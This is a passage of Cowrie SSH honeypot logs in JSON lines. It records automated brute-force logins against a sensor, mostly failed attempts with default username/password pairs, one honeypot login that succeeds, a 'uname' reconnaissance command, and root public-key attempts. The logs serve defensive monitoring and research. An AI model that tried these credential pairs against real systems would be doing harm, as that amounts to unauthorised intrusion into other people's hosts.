0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:54:54.214208Z","src_ip":"45.153.34.114","session":"e75a887771bf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"support","password":"support","message":"login attempt [support/support] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:54:54.471746Z","src_ip":"45.153.34.114","session":"e75a887771bf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:54:55.562368Z","src_ip":"45.153.34.114","session":"e75a887771bf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":58558,"dst_ip":"159.203.135.109","dst_port":22,"session":"c1a8f4ee8974","protocol":"ssh","message":"New connection: 45.153.34.114:58558 (159.203.135.109:22) [session: c1a8f4ee8974]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:55:02.127261Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:55:02.134990Z","src_ip":"45.153.34.114","session":"c1a8f4ee8974","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:55:02.253958Z","src_ip":"45.153.34.114","session":"c1a8f4ee8974","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zaq12wsx","message":"login attempt [root/zaq12wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:55:02.572619Z","src_ip":"45.153.34.114","session":"c1a8f4ee8974","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:55:03.666251Z","src_ip":"45.153.34.114","session":"c1a8f4ee8974","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":54714,"dst_ip":"159.203.135.109","dst_port":22,"session":"05a69339a7b5","protocol":"ssh","message":"New connection: 103.75.199.4:54714 (159.203.135.109:22) [session: 05a69339a7b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:55:05.232468Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:55:05.237105Z","src_ip":"103.75.199.4","session":"05a69339a7b5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:55:05.328393Z","src_ip":"103.75.199.4","session":"05a69339a7b5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vbox","password":"123456","message":"login attempt [vbox/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:55:05.604925Z","src_ip":"103.75.199.4","session":"05a69339a7b5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:55:06.701293Z","src_ip":"103.75.199.4","session":"05a69339a7b5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":55054,"dst_ip":"159.203.135.109","dst_port":22,"session":"727c7977b34b","protocol":"ssh","message":"New connection: 45.153.34.114:55054 (159.203.135.109:22) [session: 727c7977b34b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:55:09.994045Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:55:09.999187Z","src_ip":"45.153.34.114","session":"727c7977b34b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:55:10.092362Z","src_ip":"45.153.34.114","session":"727c7977b34b","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"123456","message":"login attempt [steam/123456] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:55:10.365160Z","src_ip":"45.153.34.114","session":"727c7977b34b","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:55:10.587348Z","src_ip":"45.153.34.114","session":"727c7977b34b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:55:10.590543Z","src_ip":"45.153.34.114","session":"727c7977b34b","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:55:10.880994Z","src_ip":"45.153.34.114","session":"727c7977b34b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:55:10.886130Z","src_ip":"45.153.34.114","session":"727c7977b34b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":55076,"dst_ip":"159.203.135.109","dst_port":22,"session":"d736571a9478","protocol":"ssh","message":"New connection: 45.153.34.114:55076 (159.203.135.109:22) [session: d736571a9478]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:55:17.881954Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:55:17.888501Z","src_ip":"45.153.34.114","session":"d736571a9478","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:55:17.972102Z","src_ip":"45.153.34.114","session":"d736571a9478","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"frappe","password":"123","message":"login attempt [frappe/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:55:18.313306Z","src_ip":"45.153.34.114","session":"d736571a9478","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.192.240.126","src_port":44440,"dst_ip":"10.17.0.5","dst_port":22,"session":"a135a13af759","protocol":"ssh","message":"New connection: 212.192.240.126:44440 (10.17.0.5:22) [session: a135a13af759]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:55:18.846749Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:55:18.851178Z","src_ip":"212.192.240.126","session":"a135a13af759","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:55:18.939548Z","src_ip":"212.192.240.126","session":"a135a13af759","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f8:05:a4:a7:c1:35:f4:92:51:3e:b5:fb:d8:9a:30:e3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC+RvbSIwZ+EGhD+0LhBKhggQYhKmyUrQMDe3LfK6jnqm9qOxB2VFtCm0LCdERwul0WN2jLQ5vdIetrcbCcFdtDwONMfafLZMktQkk/CPHWe106NIZdcp4mTy9BkxrnubSZ4EyUyxz5cFKgjdyN9Tqcn3iDuqA0+/JUDmx2cfSO7TXtzoTXAh1eriJdpBjYbO/36P0h0g6GwyNBFXwL9ViEo+CF2xGom5TlmcSqKaQAcUQTbjuKta8ildln1gKEYD8Cd6CXyuhjZyW7hmx7letSWzKs9elRqmozF4bW7zEF9n89Slvvy/UTVJlCVSv41jNaalrGUATTbj8i+QhIbPT/","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f8:05:a4:a7:c1:35:f4:92:51:3e:b5:fb:d8:9a:30:e3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:55:19.331433Z","src_ip":"212.192.240.126","session":"a135a13af759","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f8:05:a4:a7:c1:35:f4:92:51:3e:b5:fb:d8:9a:30:e3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC+RvbSIwZ+EGhD+0LhBKhggQYhKmyUrQMDe3LfK6jnqm9qOxB2VFtCm0LCdERwul0WN2jLQ5vdIetrcbCcFdtDwONMfafLZMktQkk/CPHWe106NIZdcp4mTy9BkxrnubSZ4EyUyxz5cFKgjdyN9Tqcn3iDuqA0+/JUDmx2cfSO7TXtzoTXAh1eriJdpBjYbO/36P0h0g6GwyNBFXwL9ViEo+CF2xGom5TlmcSqKaQAcUQTbjuKta8ildln1gKEYD8Cd6CXyuhjZyW7hmx7letSWzKs9elRqmozF4bW7zEF9n89Slvvy/UTVJlCVSv41jNaalrGUATTbj8i+QhIbPT/","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:55:19.335136Z","src_ip":"212.192.240.126","session":"a135a13af759","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:55:19.401723Z","src_ip":"45.153.34.114","session":"d736571a9478","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a8:d7:04:1b:33:c1:47:04:07:f1:46:e7:8c:49:9a:0a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCPXqGwF1965+77GT19szxTnhaxLC5N/Xe7ZGVRyXJxaacXwyXPS8wH8w05Oq9czNp6spw5NcgbyqfY3q0tH3ehUI2Yk4psOsdNMmuBe5OkPrk0Fyq/h0mWCOjSFlIYOJbg1z+QUiAVdbMmUZsRmK6Mjf2geKgdJjbili9/Ju+ttMsCgwxQsgm/ZfUfV+6jAO1Ua5b8HpAN6nFDPWVW2YDoyUaLwbsxp+tYJE0WJt8eJnOdp9ftkBlJ0XItMu1P9LXYnpoHuYCSlpDtIBa0K2FX7oRRvcaFtegicY5KWt2A7Np0lXL26jftfCi3G2tUfiNMgDJ40nv0QPzg0OOdFgyJ","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a8:d7:04:1b:33:c1:47:04:07:f1:46:e7:8c:49:9a:0a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:55:19.418485Z","src_ip":"212.192.240.126","session":"a135a13af759","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a8:d7:04:1b:33:c1:47:04:07:f1:46:e7:8c:49:9a:0a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCPXqGwF1965+77GT19szxTnhaxLC5N/Xe7ZGVRyXJxaacXwyXPS8wH8w05Oq9czNp6spw5NcgbyqfY3q0tH3ehUI2Yk4psOsdNMmuBe5OkPrk0Fyq/h0mWCOjSFlIYOJbg1z+QUiAVdbMmUZsRmK6Mjf2geKgdJjbili9/Ju+ttMsCgwxQsgm/ZfUfV+6jAO1Ua5b8HpAN6nFDPWVW2YDoyUaLwbsxp+tYJE0WJt8eJnOdp9ftkBlJ0XItMu1P9LXYnpoHuYCSlpDtIBa0K2FX7oRRvcaFtegicY5KWt2A7Np0lXL26jftfCi3G2tUfiNMgDJ40nv0QPzg0OOdFgyJ","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:55:19.422549Z","src_ip":"212.192.240.126","session":"a135a13af759","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"7c:1c:f2:4c:05:ed:64:24:e6:84:f3:01:bc:2d:20:c8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDXvYpBoNBWbybKQz6ZXGGem1gBGj4gEad7z4iwQ+Bmx1JwpD6QbGAW95DmCoX6krT3qzPzXqejnNVzwpLVJeOnbs1CI5AELnSpqqabTJQ3IkKdJApmkeLofDT0guJH9zvD2Og0U1kqDyiIaS4z1exfyUaGs30B3Lk5wIUlCSv5sbBHwlEjiAId1F19TNdVtizSRFvcLar1iXu9HUOkOIUdE+K0XBZCYF8EF8KlQE6Y4Zu/DXdwHaf4C/yZTbXeo7J4wRkWBJeYYEhBLtADZZHpoGwxOnrxyNGJP8qK7G7Dino+rhjAGVNdJ3ObD22x8DklBQ1Ri9PMHKxWi8L/xx9p","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 7c:1c:f2:4c:05:ed:64:24:e6:84:f3:01:bc:2d:20:c8","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:55:19.506189Z","src_ip":"212.192.240.126","session":"a135a13af759","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"7c:1c:f2:4c:05:ed:64:24:e6:84:f3:01:bc:2d:20:c8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDXvYpBoNBWbybKQz6ZXGGem1gBGj4gEad7z4iwQ+Bmx1JwpD6QbGAW95DmCoX6krT3qzPzXqejnNVzwpLVJeOnbs1CI5AELnSpqqabTJQ3IkKdJApmkeLofDT0guJH9zvD2Og0U1kqDyiIaS4z1exfyUaGs30B3Lk5wIUlCSv5sbBHwlEjiAId1F19TNdVtizSRFvcLar1iXu9HUOkOIUdE+K0XBZCYF8EF8KlQE6Y4Zu/DXdwHaf4C/yZTbXeo7J4wRkWBJeYYEhBLtADZZHpoGwxOnrxyNGJP8qK7G7Dino+rhjAGVNdJ3ObD22x8DklBQ1Ri9PMHKxWi8L/xx9p","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:55:19.510212Z","src_ip":"212.192.240.126","session":"a135a13af759","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"3b:a8:e4:fe:a1:d8:68:f5:c2:4f:db:b0:b8:bf:93:6f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCu+aRbrol8ZMpyyWBkILYe/OmLrPSxY1INNL593RUiHsKomO3aWmMprOwD0wvjfuybBKCK/Fh3CP5aeBVd5trUIJV7RW0cnKcY/25aLTivGfAILoc3G8Z6ijslFRrXPvpyTmAGKul+CZ+mmSqGKXMNQCUGqOm5/t8W++dTYYqS7dauQt+KF/uRpNdamzZt+687DlXaeBUJg5mWzsPahhyLTpLSjfWXj7JuDuw/T9l3y3L/dWMyWT4uT+xdW/dZdytAkpZE6x/q/8jwrFpJvdSRTsdnzUA3MiH+KpXQ4TDiHyBog65UyIc4Ia5Bce98TH6I7Dijer1gIP09Tlfs31IDn4eQyee0BnLBVnX8/v9ft3L6gZYq++EDrCEnM0fC44g9QzVSioyloGn6J3ClMaYwOLAwKWlgW8BgtuZ4qCUcOheamo6pJyir/st95YBQs5/BZdnKjqEt8xvovZJkEd8seZptlYGZTrzo/f3v53ICtds6f95SsrItLUOxRlm23Q4Xh4CD/i4SJOal4GS/aWGbJgxc6KkaScS7b7krCQLuj1dRhcfWZzURZPpwO10ETOErdgx/OhXFAHTzw6/8olg4+uq6bIzJPq/GYIWBUNA1asleCzFoCzK/+09v2Et1ePfFPfHOgG7rbJuHipTWa6bVyYco+td9fhbuK+ituZx6OQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 3b:a8:e4:fe:a1:d8:68:f5:c2:4f:db:b0:b8:bf:93:6f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:55:19.595647Z","src_ip":"212.192.240.126","session":"a135a13af759","protocol":"ssh"}
